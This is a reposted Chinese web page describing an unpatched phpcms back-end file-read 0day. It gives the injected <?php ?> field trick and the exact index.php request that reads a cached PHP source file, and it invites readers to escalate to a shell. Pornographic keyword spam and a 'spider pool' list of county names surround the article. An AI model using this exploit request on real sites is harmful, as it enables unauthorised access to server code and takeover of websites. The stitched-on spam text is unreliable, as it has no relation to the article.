国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > CMS > PhpCMS > 正文

phpcms后臺普通用戶讀文件0day的分析以及修復方法

2024-09-10 07:16:41
字體：大 中 小
來源：轉載
供稿：網友
后臺采集里設置采集模塊中title 或者其他的內容都可以 設置為<?php[內容]?>
然后用下面的代碼就可以讀取到php的源了。
index.php?clientid=name&url=./caches/caches_scan/caches_data/scan_bad_file.cache.php&_=1344175735957&m=collection&c=node&a=public_test_content&nodeid=1&pc_hash=xxxx
拿到源基本拿到shell不難了。具體如何利用看大家自己了。（別跟我說只會讀數據庫連接文件，并且還不能連），反正我是可以拿到shell。
修復：已提交給官方，等待補丁

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板： 清水县| 曲松县| 阳城县| 栖霞市| 栾川县| 福泉市| 左权县| 内江市| 安泽县| 应城市| 观塘区| 广南县| 马边| 湘潭市| 申扎县| 临城县| 鄂托克旗| 江口县| 大渡口区| 河西区| 炉霍县| 内黄县| 嘉峪关市| 叙永县| 高雄市| 建宁县| 南郑县| 庐江县| 横山县| 那曲县| 环江| 临武县| 渭源县| 讷河市| 莱州市| 南和县| 新蔡县| 万荣县| 永福县| 乌兰浩特市| 读书|